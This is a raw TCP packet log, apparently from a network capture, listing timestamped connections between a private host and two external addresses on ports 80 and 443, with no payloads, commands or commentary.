Dec 7, 2024 08:43:36.331898928 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.331949949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.332006931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.332094908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.334394932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.334448099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.334641933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.334697962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.336879969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.336966038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.336993933 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.337044954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.339309931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.339365959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.339426994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.339476109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.341686010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.341766119 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.341790915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.341906071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.344095945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.344151974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.344189882 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.344243050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.346410036 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.346460104 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.346559048 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.346612930 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.348757029 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.348805904 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.348809004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.348850012 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.350009918 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.350063086 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.350136995 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.350367069 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.350378990 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.350389957 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.350394964 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.351078987 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.351121902 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.351149082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.351166964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.353399038 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.353456020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.353482008 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.353518009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.353785038 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.353813887 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.353919983 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.354074001 CET	49765	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.354088068 CET	443	49765	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.355705976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.355782032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.355820894 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.355873108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.358181000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.358234882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.358251095 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.358319998 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.360408068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.360488892 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.360555887 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.360631943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.362766981 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.362827063 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.362912893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.362970114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.365080118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.365184069 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.365206957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.365266085 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.367356062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.367403984 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.367470980 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.367544889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.369700909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.369754076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.369791985 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.369843006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.372118950 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.372188091 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.372304916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.372364044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.374381065 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.374434948 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.374484062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.374526024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.376657009 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.376723051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.377218962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.377281904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.379064083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.379127026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.379198074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.379251003 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.381282091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.381373882 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.381402969 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.381472111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.383614063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.383691072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.383718967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.383776903 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.385996103 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.386049986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.386109114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.386163950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.388293028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.388351917 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.388438940 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.388537884 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.390574932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.390661955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.390696049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.390758991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.392940044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.393029928 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.393058062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.393110037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.395196915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.395260096 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.395421028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.395479918 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.397564888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.397623062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.397644997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.397727013 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.399852991 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.399913073 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.399944067 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.400038958 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.402185917 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.402251959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.402254105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.402297974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.404499054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.404551029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.404622078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.404810905 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.406827927 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.406887054 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.406918049 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.406980991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.409120083 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.409193993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.409248114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.409312010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.411510944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.411587954 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.411595106 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.411637068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.413785934 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.413837910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.413912058 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.413975000 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.416131973 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.416183949 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.416234016 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.416275978 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.418438911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.418524027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.418551922 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.418596029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.420762062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.420831919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.420892000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.420950890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.423063040 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.423131943 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.423160076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.423211098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.425388098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.425457001 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.425487041 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.425534010 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.427735090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.427795887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.427798986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.427850962 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.428167105 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.428217888 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.428260088 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.428451061 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.428461075 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.428469896 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.428473949 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.430046082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.430130959 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.430135965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.430181026 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.432214975 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.432236910 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.432296991 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.432348013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.432466030 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.432631969 CET	49766	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.432643890 CET	443	49766	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.499150991 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.499217033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.499289989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.499327898 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.500035048 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.500077009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.500185013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.500226021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.501830101 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.501885891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.501959085 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.501998901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.503550053 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.503606081 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.503667116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.503710985 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.505342960 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.505386114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.505404949 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.505440950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.507066965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.507112980 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.507173061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.507210016 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.508745909 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.508795023 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.508855104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.508896112 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.510473967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.510520935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.510601044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.510641098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.512152910 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.512197018 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.512269974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.512315035 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.513798952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.513839960 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.513875008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.513911009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.515419006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.515456915 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.515523911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.515559912 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.517055035 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.517113924 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.517143011 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.517184019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.518667936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.518712044 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.518744946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.518781900 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.520252943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.520298004 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.520303011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.520597935 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.521836996 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.521876097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.521894932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.521930933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.523468018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.523507118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.523566961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.523605108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.524944067 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.524982929 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.525015116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.525053024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.526479006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.526537895 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.526602030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.526642084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.528028965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.528074026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.528084040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.528110981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.529520988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.529562950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.529619932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.529658079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.531039000 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.531084061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.531135082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.531239986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.532525063 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.532569885 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.532643080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.532691956 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.534034967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.534090996 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.534121037 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.534157038 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.535487890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.535526991 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.535546064 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.535583019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.536952972 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.536999941 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.537053108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.537089109 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.538397074 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.538445950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.538494110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.538532972 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.539866924 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.539912939 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.539968967 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.540007114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.541297913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.541357040 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.541373014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.541408062 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.542680025 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.542723894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.542788982 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.542798042 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.542845011 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.542855024 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.542901039 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543072939 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543077946 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.543086052 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543088913 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.543345928 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.543397903 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.543438911 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543901920 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543914080 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.543924093 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.543927908 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.544146061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.544188976 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.544245005 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.544280052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.545561075 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.545608997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.545670986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.545706987 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.546555042 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.546582937 CET	443	49767	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.546639919 CET	49767	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.546905994 CET	49768	443	192.168.2.5	13.107.246.63
